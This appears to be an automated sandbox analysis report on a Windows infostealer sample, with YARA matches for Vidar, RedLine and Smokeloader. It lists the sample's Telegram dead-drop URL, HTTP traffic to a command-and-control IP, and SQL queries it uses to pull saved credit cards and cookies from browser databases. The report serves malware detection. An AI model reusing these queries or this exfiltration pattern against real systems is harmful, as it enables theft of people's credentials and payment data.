Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.
Source: file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/vogogor
Source: file.exe, 00000001.00000002.3707864447.000000000464E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/vogogorL
Source: file.exe, 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/vogogorracvotsp1.zipMozilla/5.0
Source: file.exe, 00000001.00000002.3707864447.000000000464E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/vogogorv
Source: file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/vogogorx
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.zip
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.zipQ
Source: file.exe, 00000001.00000003.1536347021.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729994076.000000001157C000.00000004.00000020.00020000.00000000.sdmp, 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/Sun
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 93702365600485792059963927.1.dr	String found in binary or memory: https://www.google.com/chrome/
Source: 93702365600485792059963927.1.dr	String found in binary or memory: https://www.google.com/chrome/Google
Source: file.exe, 00000001.00000002.3730149645.000000001198E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1564532439.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, 38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=1&installdataindex=empty&defaultbrowser=0
Source: 93702365600485792059963927.1.dr	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=1&installdataindex=empty&defaultbrowser=0Google
Source: 60379239670748708072323449.1.dr	String found in binary or memory: https://www.google.com/favicon.ico
Source: file.exe, 00000001.00000003.1565422518.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, 38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	String found in binary or memory: https://www.google.com/https://www.google.com/chrome/Thu
Source: 00440746450577075373182215.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/search?q=microsoft&oq=microsoft&gs_lcrp=EgZjaHJvbWUqEAgAEAAYgwEY4wIYsQMYgAQyE
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/search?q=microsoft&sourceid=chrome&ie=UTF-8microsoft
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/search?q=microsoft&sourceid=chrome&ie=UTF-8microsoftt
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j0i131i433i512j0i512j0i131i433i512l2j0
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/search?q=test&sourceid=chrome&ie=UTF-8test
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dmicrosoft%26oq%3Dmic
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000001.00000003.1536347021.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.mozilla.org/
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/firefox/115.0.3/whatsnew/?oldversion=98.0.2
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/firefox/115.0.3/whatsnew/?oldversion=98.0.2What
Source: file.exe, 00000001.00000002.3729994076.000000001157C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/firefox/download/thanks/
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/firefox/download/thanks/https://www.mozilla.org/en-GB/firefox/new/
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/115.0.3/whatsnew/?oldversion=98.0.2
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/115.0.3/whatsnew/?oldversion=98.0.2gro.allizom.www.
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/central/
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/central/gro.allizom.www.
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/media/protocol/img/logos/firefox/browser/og.4ad05d4125a5.png
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----4389493767942367User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012Content-Length: 126637Connection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: t.me

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0040E600 DeleteUrlCacheEntry,DeleteUrlCacheEntry,InternetOpenA,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0040E600

Source: global traffic	HTTP traffic detected: GET /vogogor HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me
Source: global traffic	HTTP traffic detected: GET /b2ced91faf30889899f34458f95b8e93 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012
Source: global traffic	HTTP traffic detected: GET /sp1.zip HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012Cache-Control: no-cache

Source: unknown

HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.8:49773 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: Process Memory Space: file.exe PID: 7912, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: Process Memory Space: file.exe PID: 7912, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004294F0	1_2_004294F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00408740	1_2_00408740
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00427090	1_2_00427090
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004270B8	1_2_004270B8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0043C33D	1_2_0043C33D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00438380	1_2_00438380
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0043E4FF	1_2_0043E4FF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0043D4BB	1_2_0043D4BB
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B541	1_2_0044B541
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B55C	1_2_0044B55C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B56C	1_2_0044B56C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B568	1_2_0044B568
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B5E8	1_2_0044B5E8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B668	1_2_0044B668
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B674	1_2_0044B674
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B614	1_2_0044B614
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B620	1_2_0044B620
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B62C	1_2_0044B62C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004066C8	1_2_004066C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004066A0	1_2_004066A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B6B0	1_2_0044B6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B6BC	1_2_0044B6BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00438768	1_2_00438768
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0043777B	1_2_0043777B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00427730	1_2_00427730
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004087BE	1_2_004087BE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0043C88E	1_2_0043C88E

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00401090 appears 131 times

Source: file.exe, 00000001.00000000.1220167638.000000000243D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamepetting.exe> vs file.exe
Source: file.exe, 00000001.00000003.1501124219.0000000010A11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs file.exe
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamepetting.exe> vs file.exe

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

ReversingLabs: Detection: 65%

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@1/2

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0041F770 CoCreateInstance,SysAllocString,SysFreeString,SysFreeString,SysFreeString,

1_2_0041F770

Source: softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cardsz;y
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies};x
Source: file.exe, 00000001.00000002.3696575131.000000000259D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies{;y
Source: softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 41854390081158473842695081.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0041F820 CreateToolhelp32Snapshot,Process32First,Process32Next,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,Process32Next,CloseHandle,

1_2_0041F820

Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: house	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: India	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: also	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: and	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: former	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: member	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: the	1_2_004107F0
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower	1_2_004107F0
